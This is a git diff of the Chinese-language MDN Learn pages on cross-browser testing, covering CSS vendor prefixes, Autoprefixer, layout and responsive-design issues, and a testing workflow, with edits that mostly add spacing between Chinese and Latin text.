+前缀功能从来不应该用于生产网站——它们可能会在没有警告的情况下更改或删除,并导致跨浏览器问题。当开发人员决定只使用-webkit- 某个属性的版本时,这是一个特别的问题 - 这意味着该网站在其他浏览器中不起作用。这实际上发生了很多,其他浏览器已经开始实现-webkit-各种 CSS 属性的前缀版本,所以他们将使用这样的代码。由于这些类型的问题,浏览器供应商使用前缀最近已经下降,但仍然有一些需要注意。
-如果您坚持使用前缀功能,请确保使用正确的功能。您可以在MDN参考页面上查找哪些浏览器需要前缀,以及像caniuse.com这样的站点。如果你不确定,你也可以直接在浏览器中做一些测试。
+如果您坚持使用前缀功能,请确保使用正确的功能。您可以在 MDN 参考页面上查找哪些浏览器需要前缀,以及像caniuse.com这样的站点。如果你不确定,你也可以直接在浏览器中做一些测试。
试试这个简单的例子:
-
-- 打开google.com或具有突出标题或其他块级元素的其他站点。
-- 右键/ Cmd +单击有问题的元素并选择Inspect / Inspect元素(或者浏览器中的任何选项) - 这应该在浏览器中打开开发工具,在DOM检查器中高亮显示该元素。
-- 寻找可以用来选择该元素的功能。例如,在撰写本文时,主要的Google徽标的ID为hplogo。
+- 打开 google.com 或具有突出标题或其他块级元素的其他站点。
+- 右键/ Cmd +单击有问题的元素并选择 Inspect / Inspect 元素(或者浏览器中的任何选项) - 这应该在浏览器中打开开发工具,在 DOM 检查器中高亮显示该元素。
+- 寻找可以用来选择该元素的功能。例如,在撰写本文时,主要的 Google 徽标的 ID 为 hplogo。
- 将对此元素的引用存储在变量中,例如:
-const test = document.getElementById('hplogo');- 现在尝试为您感兴趣的CSS属性设置一个新的值,你可以使用元素的style属性来做到这一点,例如尝试在JavaScript控制台中输入这些: +
- 现在尝试为您感兴趣的 CSS 属性设置一个新的值,你可以使用元素的style属性来做到这一点,例如尝试在 JavaScript 控制台中输入这些:
test.style.transform = 'rotate(90deg)' test.style.webkitTransform = 'rotate(90deg)'当您开始在第二个点之后键入属性名称表示形式(请注意,在JavaScript中,CSS属性名称是以较低的驼峰大小写,而不是连字符),JavaScript控制台应该开始自动填充浏览器中存在的属性的名称并匹配到目前为止所写的内容。这对于找出在该浏览器中实现哪个版本的属性很有用。
+当您开始在第二个点之后键入属性名称表示形式(请注意,在 JavaScript 中,CSS 属性名称是以较低的驼峰大小写,而不是连字符),JavaScript 控制台应该开始自动填充浏览器中存在的属性的名称并匹配到目前为止所写的内容。这对于找出在该浏览器中实现哪个版本的属性很有用。
-在撰写本文时, Firefox 和 Chrome 都实现了
+-webkit-
前缀和非前缀的transform!在撰写本文时,Firefox 和 Chrome 都实现了
--webkit-
前缀和非前缀的transform!一旦你找到了你需要支持的前缀,你应该把它们写在你的CSS中,例如:
+一旦你找到了你需要支持的前缀,你应该把它们写在你的 CSS 中,例如:
-ms-transform: rotate(90deg); -webkit-transform: rotate(90deg); @@ -380,22 +380,22 @@处理 CSS 前缀
这可以确保所有支持上述任何属性的浏览器都可以使该功能正常工作。值得把非前缀版本放在最后,因为那将是最新的版本,如果可能的话,你会希望浏览器使用它。例如,如果浏览器实现了-webkit-版本和非前缀版本,则它将首先应用-webkit-版本,然后用非前缀版本覆盖它。你希望这样发生,而不是相反。
-当然,这样做很多不同的CSS规则可能会变得非常乏味。最好使用自动化工具来为你做。而这样的工具存在:
+当然,这样做很多不同的 CSS 规则可能会变得非常乏味。最好使用自动化工具来为你做。而这样的工具存在:
无前缀的 JavaScript 库可以附加到页面上,并自动检测浏览器查看页面的功能,并根据需要添加前缀。使用起来非常简单方便,虽然它有一些缺点(请参阅上面的链接了解详细信息),但有一点是可争议的,即在您的站点中解析每个样式表并在运行时添加前缀可能会消耗计算机的处理能力为一个大的网站。
-另一个解决方案是在开发过程中自动添加前缀,而这个(和其他的东西除外)可以使用像Autoprefixer和PostCSS这样的工具完成。这些工具可以以多种方式使用,例如Autoprefixer有一个在线版本,允许您在左侧输入非前缀CSS,并在右侧给出前缀添加版本。您可以使用Autoprefixer选项中列出的符号来选择要确保支持的浏览器; 另请参阅基于此的Browserslist查询以获取更多详细信息。例如,以下查询将选择所有主流浏览器的最后2个版本和 IE9 以上的版本。
+另一个解决方案是在开发过程中自动添加前缀,而这个(和其他的东西除外)可以使用像Autoprefixer和PostCSS这样的工具完成。这些工具可以以多种方式使用,例如 Autoprefixer 有一个在线版本,允许您在左侧输入非前缀 CSS,并在右侧给出前缀添加版本。您可以使用Autoprefixer 选项中列出的符号来选择要确保支持的浏览器; 另请参阅基于此的Browserslist 查询以获取更多详细信息。例如,以下查询将选择所有主流浏览器的最后 2 个版本和 IE9 以上的版本。
last 2 versions, ie > 9-Autoprefixer 也可用于其他更便捷的方式 - 请参阅Autoprefixer使用情况。例如,您可以使用任务运行器/构建工具(如Gulp或Webpack)在开发完成后自动添加前缀。(解释这些工作如何超出本文的范围。)
+Autoprefixer 也可用于其他更便捷的方式 - 请参阅Autoprefixer 使用情况。例如,您可以使用任务运行器/构建工具(如Gulp或Webpack)在开发完成后自动添加前缀。(解释这些工作如何超出本文的范围。)
-您也可以使用插件来编辑文本编辑器,如Atom或Sublime文本。例如,在Atom中:
+您也可以使用插件来编辑文本编辑器,如 Atom 或 Sublime 文本。例如,在 Atom 中:
-
- 您可以通过转到首选项>安装,搜索Autoprefixer,然后安装。
+- 您可以通过转到首选项>安装,搜索 Autoprefixer,然后安装。
- 您可以通过按“Autoprefixer 设置”按钮并在页面的“设置”部分的文本字段中输入查询来设置浏览器查询。
-- 在你的代码中,你可以选择要添加前缀的CSS部分,打开命令调色板(Cmd / Ctrl + Shift + P),然后输入Autoprefixer并选择Autoprefixer自动完成的结果。
+- 在你的代码中,你可以选择要添加前缀的 CSS 部分,打开命令调色板(Cmd / Ctrl + Shift + P),然后输入 Autoprefixer 并选择 Autoprefixer 自动完成的结果。
作为一个例子,我们输入了下面的代码:
@@ -414,7 +414,7 @@处理 CSS 前缀
布局问题
-另一个可能出现的问题是浏览器之间布局的差异。从历史上看,这往往是一个更大的问题,但是最近,现代浏览器倾向于更一致地支持CSS,布局问题往往更倾向于:
+另一个可能出现的问题是浏览器之间布局的差异。从历史上看,这往往是一个更大的问题,但是最近,现代浏览器倾向于更一致地支持 CSS,布局问题往往更倾向于:
- 对现代布局功能缺乏(或不同)支持。
@@ -422,22 +422,22 @@布局问题
-注意:过去,Web 开发人员使用 reset CSS 删除应用于HTML的所有默认浏览器样式,然后将自己的样式应用于顶部的所有样式 - 这样做是为了使项目的样式更加一致,并减少可能的跨浏览器问题,特别是像布局的东西。然而现在它被认为过头了。我们现在最好的等价物是normalize.css,这是一个整齐的CSS,在默认的浏览器样式上略微增加一点,使事情更加一致,并解决一些布局问题。建议您将normalize.css应用于所有的HTML页面。
+注意:过去,Web 开发人员使用 reset CSS 删除应用于 HTML 的所有默认浏览器样式,然后将自己的样式应用于顶部的所有样式 - 这样做是为了使项目的样式更加一致,并减少可能的跨浏览器问题,特别是像布局的东西。然而现在它被认为过头了。我们现在最好的等价物是normalize.css,这是一个整齐的 CSS,在默认的浏览器样式上略微增加一点,使事情更加一致,并解决一些布局问题。建议您将 normalize.css 应用于所有的 HTML 页面。
-注意:当试图追踪一个棘手的布局问题,一个好方法是添加一个明亮的颜色outline到有问题的元素,或附近的所有元素。这使得更容易看到一切放置在哪里。请参阅使用大纲可视化调试您的CSS以获取更多详细信息。
+注意:当试图追踪一个棘手的布局问题,一个好方法是添加一个明亮的颜色outline到有问题的元素,或附近的所有元素。这使得更容易看到一切放置在哪里。请参阅使用大纲可视化调试您的 CSS 以获取更多详细信息。
支持新的布局特性
-今天网络上的大部分布局工作都是使用浮动工具完成的- 这是因为浮动支持得很好(可以回到IE4,尽管如此,如果您尝试支持IE,也需要调查一些错误很久以前)。但是,它们并不是真正用于布局的目的 - 使用浮动的方式实际上是一种黑客攻击 - 而且它们有一些严重的限制(例如,请参阅为什么选择Flexbox?)
+今天网络上的大部分布局工作都是使用浮动工具完成的 - 这是因为浮动支持得很好(可以回到 IE4,尽管如此,如果您尝试支持 IE,也需要调查一些错误很久以前)。但是,它们并不是真正用于布局的目的 - 使用浮动的方式实际上是一种黑客攻击 - 而且它们有一些严重的限制(例如,请参阅为什么选择 Flexbox?)
最近,出现了专门的布局机制,例如Flexbox和CSS Grids,这些布局机制使常见的布局任务变得更加容易并消除了这些缺点。但是,这些在浏览器中并没有得到很好的支持:
- CSS Grid 是非常新的;在撰写本文的时候,他们只在最新版本的现代浏览器中才得到支持。
-- Flexbox 在现代浏览器中得到了很好的支持,但是在旧版浏览器中却存在问题。IE 9 根本不支持它,IE 10 和旧版本的 iOS /桌面 Safari 分别支持 Flexbox 规范的两种不兼容老版本。如果您想尝试在所有这些浏览器上使用 flexbox(请参阅高级跨浏览器Flexbox以获得创意),则会导致一些有趣的浏览器前缀杂乱。
+- Flexbox 在现代浏览器中得到了很好的支持,但是在旧版浏览器中却存在问题。IE 9 根本不支持它,IE 10 和旧版本的 iOS /桌面 Safari 分别支持 Flexbox 规范的两种不兼容老版本。如果您想尝试在所有这些浏览器上使用 flexbox(请参阅高级跨浏览器 Flexbox以获得创意),则会导致一些有趣的浏览器前缀杂乱。
布局功能并不像简单的颜色,阴影或渐变那样容易提供优雅的后备。如果布局属性被忽略,你的整个设计可能会崩溃。因此,您需要使用功能检测来检测访问的浏览器是否支持这些布局功能,并根据结果有选择地应用不同的布局(我们将在后面的文章中详细介绍功能检测)。
@@ -454,13 +454,13 @@响应式设计问题
解决方案也是一个大问题 - 例如,移动设备不太可能需要比台式电脑大的图像,并且更可能具有较慢的互联网连接,并且甚至可能使昂贵的数据计划浪费带宽成为更多的问题。另外,不同的设备可以具有一系列不同的分辨率,这意味着较小的图像可以出现像素化。有许多技术可以让您解决这些问题,从简单的移动第一媒体查询到更复杂的响应式图像技术。
-可能出现问题的另一个困难是浏览器对使上述技术成为可能的特征的支持。媒体查询没有在IE 8或更少的支持,所以如果你想使用移动优先布局和具有桌面布局则适用于旧版本的 IE,你将有一个媒体查询应用于填充工具到您的网页,如 css3- mediaqueries-js 或 Respond.js。
+可能出现问题的另一个困难是浏览器对使上述技术成为可能的特征的支持。媒体查询没有在 IE 8 或更少的支持,所以如果你想使用移动优先布局和具有桌面布局则适用于旧版本的 IE,你将有一个媒体查询应用于填充工具到您的网页,如 css3- mediaqueries-js 或 Respond.js。
寻找帮助
HTML 和 CSS 还有很多其他的问题。最重要的是如何在网上找到答案。
-其中最好的支持信息来源是Mozilla开发者网络(你现在就在这!),stackoverflow.com 和 caniuse.com。
+其中最好的支持信息来源是 Mozilla 开发者网络(你现在就在这!),stackoverflow.com 和 caniuse.com。
为使用 Mozilla 开发者网络(MDN),大多数人会搜索他们正在尝试查找信息的技术,以及术语“mdn”,例如“mdn HTML5 video”。MDN 包含几种有用的内容类型:
@@ -472,7 +472,7 @@寻找帮助
caniuse.com 提供支持信息,以及一些有用的外部资源链接。例如,请参阅http://caniuse.com/#search=video(您只需在文本框中输入要搜索的功能)。
-stackoverflow.com(SO)是一个论坛网站,您可以提出问题,并让开发人员分享他们的解决方案,查看以前的帖子,并帮助其他开发人员。在发布新问题之前,建议您先看看是否已经回答了您的问题。例如,我们在SO上搜索了“cross browser html5 video”,并且很快得到了具有完全跨浏览器兼容性的 HTML5 Video。
+stackoverflow.com(SO)是一个论坛网站,您可以提出问题,并让开发人员分享他们的解决方案,查看以前的帖子,并帮助其他开发人员。在发布新问题之前,建议您先看看是否已经回答了您的问题。例如,我们在 SO 上搜索了“cross browser html5 video”,并且很快得到了具有完全跨浏览器兼容性的 HTML5 Video。
除此之外,请尝试使用您最喜爱的搜索引擎来解决您的问题。如果有的话,搜索特定的错误信息通常很有用 - 其他开发人员可能会遇到与您一样的问题。
diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/index.html index 74cbd7cadb51c3..3a12a76164d0c5 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/index.html @@ -15,7 +15,7 @@ ---{{LearnSidebar}}-该模块侧重于跨浏览器测试web项目。我们会查看您的目标受众(例如,您最需要担心的用户,浏览器和设备),如何进行测试最主要的问题是您会遇到不同类型的代码和怎么缓解他们,什么工具对于你测试和解决问题是最有帮助的,以及如何使用自动化来加速测试。
+该模块侧重于跨浏览器测试 web 项目。我们会查看您的目标受众(例如,您最需要担心的用户,浏览器和设备),如何进行测试最主要的问题是您会遇到不同类型的代码和怎么缓解他们,什么工具对于你测试和解决问题是最有帮助的,以及如何使用自动化来加速测试。
先决条件
@@ -27,17 +27,17 @@指南
- 跨浏览器测试简介
- 本文通过提供跨浏览器测试主题的概述,回答诸如“什么是跨浏览器测试?”,“您将遇到的最常见类型的问题是什么?”和“什么是测试,识别和解决问题的主要方法?“
- 测试策略
-- 接下来,我们深入了解测试,寻找目标受众(例如:你需要确定测试的浏览器,设备和其他部分),低成本测试策略(必要时对各种设备和一些虚拟机进行adhoc测试),更高科技策略(自动化,使用专用测试apps)和用户组测试。
-- 处理常见的HTML和CSS问题
-- 现在,我们着重考虑你在HTML和CSS代码中可能遇到的一些常见的跨浏览器问题,以及那些工具可以用来防止问题发生和解决问题。这包括代码检查,处理CSS前缀,使用浏览器开发工具找出问题,使用polyfills添加浏览器支持,解决响应式问题等。
-- 处理常见的JavaScript问题
-- 现在我们来看看常见的跨浏览器JavaScript问题,以及怎么解决它们。这会包括使用浏览器开发工具跟踪和解决问题的信息,使用polyfills和库来解决问题,让现代的JavaScript特性在老浏览器中工作等等。
+- 接下来,我们深入了解测试,寻找目标受众(例如:你需要确定测试的浏览器,设备和其他部分),低成本测试策略(必要时对各种设备和一些虚拟机进行 adhoc 测试),更高科技策略(自动化,使用专用测试 apps)和用户组测试。
+- 处理常见的 HTML 和 CSS 问题
+- 现在,我们着重考虑你在 HTML 和 CSS 代码中可能遇到的一些常见的跨浏览器问题,以及那些工具可以用来防止问题发生和解决问题。这包括代码检查,处理 CSS 前缀,使用浏览器开发工具找出问题,使用 polyfills 添加浏览器支持,解决响应式问题等。
+- 处理常见的 JavaScript 问题
+- 现在我们来看看常见的跨浏览器 JavaScript 问题,以及怎么解决它们。这会包括使用浏览器开发工具跟踪和解决问题的信息,使用 polyfills 和库来解决问题,让现代的 JavaScript 特性在老浏览器中工作等等。
- 处理常见的可访问性问题
- 然后,我们把注意力转向可访问性上,提供常见问题的信息,怎么做简单的测试,和怎么使用审计/自动化工具找到可访问性问题。
- 实现特征检查
-- +
特征检查包括确定浏览器是否支持确定的代码块,据此运行不同的代码,让浏览器能一直正常工作,而不是在一些浏览器上崩溃/报错。
本文详细介绍了愈合如何写简单的特征检查,怎么使用库来加速实现,和一些像@supports
的本地特性来进行特征检查。特征检查包括确定浏览器是否支持确定的代码块,据此运行不同的代码,让浏览器能一直正常工作,而不是在一些浏览器上崩溃/报错。
本文详细介绍了愈合如何写简单的特征检查,怎么使用库来加速实现,和一些像@supports
的本地特性来进行特征检查。- 自动测试简介
-- 每天多次在几个浏览器和设备上手动运行可能会枯燥,浪费时间。有效处理这个问题,你需要熟悉自动化工具。在本文中,我们介绍可用的方法,怎么使用任务运行程序,以及学习怎么使用商业浏览器自动化测试工具如 Sauce Labs 和Browser Stack的基础知识。
+- 每天多次在几个浏览器和设备上手动运行可能会枯燥,浪费时间。有效处理这个问题,你需要熟悉自动化工具。在本文中,我们介绍可用的方法,怎么使用任务运行程序,以及学习怎么使用商业浏览器自动化测试工具如 Sauce Labs 和 Browser Stack 的基础知识。
- 建立你自己的自动化测试环境
-- 在本文中,我们会教你怎么安装你自己的自动化环境,并使用Selenium / WebDriver和测试库(如selenium-webdriver for Node)运行自己的测试。我们还将介绍如何将本地测试环境与商业应用程序集成在一起,正如上一篇文章所讨论的。
+- 在本文中,我们会教你怎么安装你自己的自动化环境,并使用 Selenium / WebDriver 和测试库(如 selenium-webdriver for Node)运行自己的测试。我们还将介绍如何将本地测试环境与商业应用程序集成在一起,正如上一篇文章所讨论的。
diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/introduction/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/introduction/index.html index 328a74bc8b4b08..0a75e3f23bd6d0 100644 --- a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/introduction/index.html +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/introduction/index.html @@ -12,11 +12,11 @@
- 阅读基础: +阅读基础: 熟悉 HTML, CSS, 和 JavaScript 语言。 - @@ -24,25 +24,25 @@目标: +目标: 了解跨浏览器测试的高级概念。 什么是跨浏览器测试?
-跨浏览器测试(cross browser testing)是确保您的网站或web应用能在可接受数量的浏览器(across an acceptable number of web browsers)上正常使用的测试方法。作为网站开发者,您有责任确保项目能供所有用户使用,无论他们使用的是哪种浏览器,设备或辅助工具。 您需要注意的点:
+跨浏览器测试(cross browser testing)是确保您的网站或 web 应用能在可接受数量的浏览器(across an acceptable number of web browsers)上正常使用的测试方法。作为网站开发者,您有责任确保项目能供所有用户使用,无论他们使用的是哪种浏览器,设备或辅助工具。您需要注意的点:
-
-- 除了您在工作中经常使用的一两种浏览器,还有一些老旧的浏览器也会有用户在使用。这些浏览器对CSS和JavaScript的新特性支持的不够。
+- 除了您在工作中经常使用的一两种浏览器,还有一些老旧的浏览器也会有用户在使用。这些浏览器对 CSS 和 JavaScript 的新特性支持的不够。
- 不同的设备支持的功能也不一样,有功能强大的新平板电脑,智能手机,智能电视,也有功能不全的廉价平板电脑,老旧手机。
- 残疾人士通过屏幕阅读器等辅助技术上网,可能不会使用鼠标(有些人只使用键盘)。
请记住,您不能代表产品的用户 - 您的网站能适配Macbook Pro或高端Galaxy Nexus,并不意味它适用于所有用户 - 还有很多测试工作要做!
+请记住,您不能代表产品的用户 - 您的网站能适配 Macbook Pro 或高端 Galaxy Nexus,并不意味它适用于所有用户 - 还有很多测试工作要做!
-Note: Make the web work for everyone 文章列出了浏览器的市场份额,使用情况和相关兼容性问题。
我们先解释下术语。首先,我们所讨论的“跨浏览器使用(working cross browser)”,应该在不同浏览器中提供可接受的用户体验。虽然无法在所有浏览器上提供相同的体验,但确保核心功能使用顺畅就算可以。比如在现代浏览器上,能显示动画、3D或闪光效果,而在较旧的浏览器上,可以呈现出相同信息的平面图片。只要网站主满意,你的工作就算完成了。
+我们先解释下术语。首先,我们所讨论的“跨浏览器使用(working cross browser)”,应该在不同浏览器中提供可接受的用户体验。虽然无法在所有浏览器上提供相同的体验,但确保核心功能使用顺畅就算可以。比如在现代浏览器上,能显示动画、3D 或闪光效果,而在较旧的浏览器上,可以呈现出相同信息的平面图片。只要网站主满意,你的工作就算完成了。
另一方面,视力正常的用户能正常浏览内容,但视力障碍的用户却因为屏幕阅读器无法读取信息而无法阅读内容。这是糟糕的体验,需要您能兼容屏幕阅读器软件。
-其次,当我们说“可接受数量的浏览器(across an acceptable number of web browsers)” ,并不是说世界上100%的浏览器,这也是不可能。您可以通过信息收集了解用户都在使用哪些浏览器和设备,但也不能保证全都采集到(也是本专题第二篇所讨论的 — 参见 要测试全部的吗?(Gotta test 'em all?))。作为web开发者,您自然要确保网站主要求的浏览器都能正常工作,但除此之外,您需要防御性编程(code defensively),尽可能让其它浏览器也能正常查看内容。 这是Web开发的重大挑战之一!
+其次,当我们说“可接受数量的浏览器(across an acceptable number of web browsers)” ,并不是说世界上 100% 的浏览器,这也是不可能。您可以通过信息收集了解用户都在使用哪些浏览器和设备,但也不能保证全都采集到(也是本专题第二篇所讨论的 — 参见 要测试全部的吗?(Gotta test 'em all?))。作为 web 开发者,您自然要确保网站主要求的浏览器都能正常工作,但除此之外,您需要防御性编程(code defensively),尽可能让其它浏览器也能正常查看内容。这是 Web 开发的重大挑战之一!
Note: 后面会详细介绍防御性编程(code defensively)
@@ -50,14 +50,14 @@什么是跨浏览器测试?
为什么会出现跨浏览器问题?
-对于为何出现跨浏览器问题,原因有很多,而且要注意,我们在此讨论的是跨不同浏览器/设备/浏览偏好时出现的表现差异的问题。你应该在遇到跨浏览器问题之前就预先修复你代码里的Bug(如需巩固记忆,请参阅之前主题中的Debugging HTML,Debugging CSS,以及What went wrong?Troubleshooting Javascript)。
+对于为何出现跨浏览器问题,原因有很多,而且要注意,我们在此讨论的是跨不同浏览器/设备/浏览偏好时出现的表现差异的问题。你应该在遇到跨浏览器问题之前就预先修复你代码里的 Bug(如需巩固记忆,请参阅之前主题中的Debugging HTML,Debugging CSS,以及What went wrong?Troubleshooting Javascript)。
跨浏览器问题会出现通常因为:
-
- 有时候浏览器有缺陷,或者实现功能的方式不同。这种情况比以前大有改观;在IE 4和Netscape 4争霸的二十世纪九十年代,浏览器厂商故意采用与其他厂商不同的方式开发功能,以此获得竞争优势,这使得开发者如陷地狱。近来各个浏览器更加注重遵循标准,但差异和缺陷仍会时而出现。
-- 一些浏览器对一些技术特点的支持力度与其他浏览器不同。当你在处理一些浏览器厂商正在实现的前沿技术点,或你必须支持一些很古老的不再更新维护的浏览器时,跨浏览器问题会不可避免的出现。举个例子:你想在自己网站里用到的一些前沿Javascript技术在旧版浏览器中可能不会生效。如果你需要支持旧版浏览器,你可能必须放弃新技术,或在所需之处把代码转换成过时语法。
-- 一些设备可能会制定一些限制来防止网站运行缓慢或显示效果糟糕。例如:若一个网站的设计效果在PC端很棒,在移动设备上就会显得很小,很不易于浏览。若你的网站要加载体积很大的动画,在高配设备上可能没问题,但在低配置的设备上就会迟钝又愚蠢。
+- 有时候浏览器有缺陷,或者实现功能的方式不同。这种情况比以前大有改观;在 IE 4 和 Netscape 4 争霸的二十世纪九十年代,浏览器厂商故意采用与其他厂商不同的方式开发功能,以此获得竞争优势,这使得开发者如陷地狱。近来各个浏览器更加注重遵循标准,但差异和缺陷仍会时而出现。
+- 一些浏览器对一些技术特点的支持力度与其他浏览器不同。当你在处理一些浏览器厂商正在实现的前沿技术点,或你必须支持一些很古老的不再更新维护的浏览器时,跨浏览器问题会不可避免的出现。举个例子:你想在自己网站里用到的一些前沿 Javascript 技术在旧版浏览器中可能不会生效。如果你需要支持旧版浏览器,你可能必须放弃新技术,或在所需之处把代码转换成过时语法。
+- 一些设备可能会制定一些限制来防止网站运行缓慢或显示效果糟糕。例如:若一个网站的设计效果在 PC 端很棒,在移动设备上就会显得很小,很不易于浏览。若你的网站要加载体积很大的动画,在高配设备上可能没问题,但在低配置的设备上就会迟钝又愚蠢。
此外还有很多原因。
@@ -68,13 +68,13 @@跨浏览器测试的工作流
这一系列跨浏览器测试工作也行听起来耗时且可怕,但实际上不是——你只需仔细计划,并确保在恰当之处做足测试以防遭遇意外故障。假如你正在开发一个大型项目,你应该有规律地进行测试,确保新功能正确地服务你的目标用户,以及新增功能不会与已有功能冲突。
-如果你在项目中把所有测试工作留到最后,那么会比随时发现和解决Bug耗时更长,成本更高。
+如果你在项目中把所有测试工作留到最后,那么会比随时发现和解决 Bug 耗时更长,成本更高。
一个项目的测试和排错工作流可以大致分为如下四个阶段(这只是粗略划分——因人而异):
初步规划>开发>测试/查错>修复/迭代
-步骤2到步骤4在必要时应多次重复直到开发完成。我们会在后续章节详细探讨测试程序的不同之处,但现在我们只概述每个阶段可能出现的问题。
+步骤 2 到步骤 4 在必要时应多次重复直到开发完成。我们会在后续章节详细探讨测试程序的不同之处,但现在我们只概述每个阶段可能出现的问题。
初步规划
@@ -84,16 +84,16 @@初步规划
一旦你了解了需求,确定了技术选型,你就该开始调查目标用户——使用这个网站的用户用什么浏览器、什么设备等等。也行客户通过前期调查已经有了这方面的数据,比如通过他们的其他网站,或你将要开发的网站的之前版本。若没有,你将要通过搜寻其他资源,诸如竞品的使用数据,或网站将要服务的国家来了解清楚。也可以凭直觉。
-举个例子,你要开发一个服务北美客户的电子商务网站。该网站应该完美支持最流行的PC/移动端(iOS、Android、Windows phone)浏览器的最新几个版本——应包括Chrome(和相同渲染引擎的Opera)、Firefox、IE/Edge以及Safari。它还应为IE 8和9提供可接受的体验,以及遵循 WCAG AA指南。
+举个例子,你要开发一个服务北美客户的电子商务网站。该网站应该完美支持最流行的 PC/移动端(iOS、Android、Windows phone)浏览器的最新几个版本——应包括 Chrome(和相同渲染引擎的 Opera)、Firefox、IE/Edge 以及 Safari。它还应为 IE 8 和 9 提供可接受的体验,以及遵循 WCAG AA 指南。
-现在你已知道你的目标测试平台,你应回顾功能需求和技术选型。例如:如果这个电子商务站点的拥有者想要在页面上实现基于WebGl的3D产品展示,那他们必须放弃IE 11及以前的版本。你要承诺为低版本用户提供没有3D展示的版本。
+现在你已知道你的目标测试平台,你应回顾功能需求和技术选型。例如:如果这个电子商务站点的拥有者想要在页面上实现基于 WebGl 的 3D 产品展示,那他们必须放弃 IE 11 及以前的版本。你要承诺为低版本用户提供没有 3D 展示的版本。
你应该列出这些潜在的问题。
-注意:你可在MDN——就是本网站——找到浏览器对不同技术功能的支持情况的信息。
+注意:你可在 MDN——就是本网站——找到浏览器对不同技术功能的支持情况的信息。
一旦你们就这些问题达成共识,你就可以开始开发网站了。
@@ -106,7 +106,7 @@开发
@@ -117,9 +117,9 @@
- 让所有功能尽可能在所有目标浏览器上运行。这也许涉及到写不同的代码,让不同浏览器中的功能以不同方式实现,或使用一个
-{{glossary("Polyfill")}}
模拟缺失的支撑,或者使用一个库,允许你写一点代码,然后根据浏览器支持的内容在后台执行不同的操作。- 接受这个现实:一些东西在不同浏览器运行效果不同,在不支持完整功能的浏览器中提供不同的(可接受的)的解决方案。因为设备限制,有时这是不可避免的——不管你怎样设计网站,在影院宽屏上和在4寸屏上的视觉效果是不同的。
+- 接受这个现实:一些东西在不同浏览器运行效果不同,在不支持完整功能的浏览器中提供不同的(可接受的)的解决方案。因为设备限制,有时这是不可避免的——不管你怎样设计网站,在影院宽屏上和在 4 寸屏上的视觉效果是不同的。
- 接受这个现实:你的网站在旧版浏览器上不能用,那就忽略旧版。假设你的客户/用户认为可以就没事。
测试/查错
在每个实现阶段之后,你需要测试这些新功能。要开始测试,你应该确保你的代码没有能够阻止功能运行的一般性错误:
-
- 在一些稳定浏览器中测试,例如Firefox、Safari、Chrome或IE/Edge。
+- 在一些稳定浏览器中测试,例如 Firefox、Safari、Chrome 或 IE/Edge。
- 做一些低可用性测试,比如尝试只用键盘使用网站,或通过屏幕阅读器访问,来检查可操纵性。
-- 在移动端测试,例如iOS或Android。
+- 在移动端测试,例如 iOS 或 Android。
此时,你要修复一切发现的问题。
@@ -127,18 +127,18 @@测试/查错
接下来,你应该在所有浏览器上测试并集中精力排除跨浏览器问题(关于determining your target browers,请查阅下一篇文章获取更多信息)。例如
-
- 尝试在所有现代桌面浏览器上测试最新的修改——包括(理想条件下,Windows、Mac、Linux的)Firefox、Chrome、Opera、IE、Edge和Safari。
-- 在常用的手机和平板浏览器中测试(例如iPhone/iPad上的iOS Safari、iPhone/iPad/Android的Chrome和Firefox)。
+- 尝试在所有现代桌面浏览器上测试最新的修改——包括(理想条件下,Windows、Mac、Linux 的)Firefox、Chrome、Opera、IE、Edge 和 Safari。
+- 在常用的手机和平板浏览器中测试(例如 iPhone/iPad 上的 iOS Safari、iPhone/iPad/Android 的 Chrome 和 Firefox)。
- 也要在你所列出的其他目标浏览器中测试。
最起码你要独自进行你能实现的所有测试(如果有团队,你可以拉队友来帮你)。你应该尽可能在真实物理设备上进行测试。
-如果你无法测试所有那些不同的浏览器、操作系统和物理真机,你也可以用模拟器(在PC端用软件模拟设备)和虚拟机(能使你在PC上模拟多种操作系统/软件的软件)。这是很普遍的做法,特别是在某些环境中——例如,Windows不允许你在同一台机器上模拟安装多个版本的Windows,那么使用虚拟机就是唯一选择。
+如果你无法测试所有那些不同的浏览器、操作系统和物理真机,你也可以用模拟器(在 PC 端用软件模拟设备)和虚拟机(能使你在 PC 上模拟多种操作系统/软件的软件)。这是很普遍的做法,特别是在某些环境中——例如,Windows 不允许你在同一台机器上模拟安装多个版本的 Windows,那么使用虚拟机就是唯一选择。
另一个选择是用户群组——使用开发团队之外的一组人测试你的网站。可以是一些朋友或家庭,其他员工们,一个班级或一个当地大学,或一个专业测试团队。
-最终,通过使用统计或自动化工具,你的测试会更智能;当你的项目变得更大,这是个明智的选择,毕竟手动做全部这些测试会花很长时间。你可以建立你的自动化测试系统(Selenium正在成为最流行选择),这样你就可以实现诸如在一些不同浏览器加载你的网站的功能,比如:
+最终,通过使用统计或自动化工具,你的测试会更智能;当你的项目变得更大,这是个明智的选择,毕竟手动做全部这些测试会花很长时间。你可以建立你的自动化测试系统(Selenium 正在成为最流行选择),这样你就可以实现诸如在一些不同浏览器加载你的网站的功能,比如:
- 看一个按钮点击事件是否成功生效(例如显示地图),测试完成后就显示结果。
@@ -163,19 +163,19 @@在预发布的浏览器上测试
修复/迭代 -当你发现一个Bug,你需要尝试修复它。
+当你发现一个 Bug,你需要尝试修复它。
-首要之举是尽可能锁定Bug出现之处。从Bug报告者那里尽可能多的获得信息——平台、设备、浏览器版本等等。在相似环境(比如不同桌面平台的同一个浏览器版本,或同一平台中同一浏览器的小差别版本)中测试来检查该Bug波及多大范围。
+首要之举是尽可能锁定 Bug 出现之处。从 Bug 报告者那里尽可能多的获得信息——平台、设备、浏览器版本等等。在相似环境(比如不同桌面平台的同一个浏览器版本,或同一平台中同一浏览器的小差别版本)中测试来检查该 Bug 波及多大范围。
-那可能不是你的错误——如果是一个浏览器的Bug,那就希望厂商尽快修复它。也许它已经被修复了——例如若一个Bug存在于Firefox版本49,但Firefox Nightly中已经不存在了。如果还未修复,你可能需要提交一个Bug报告。
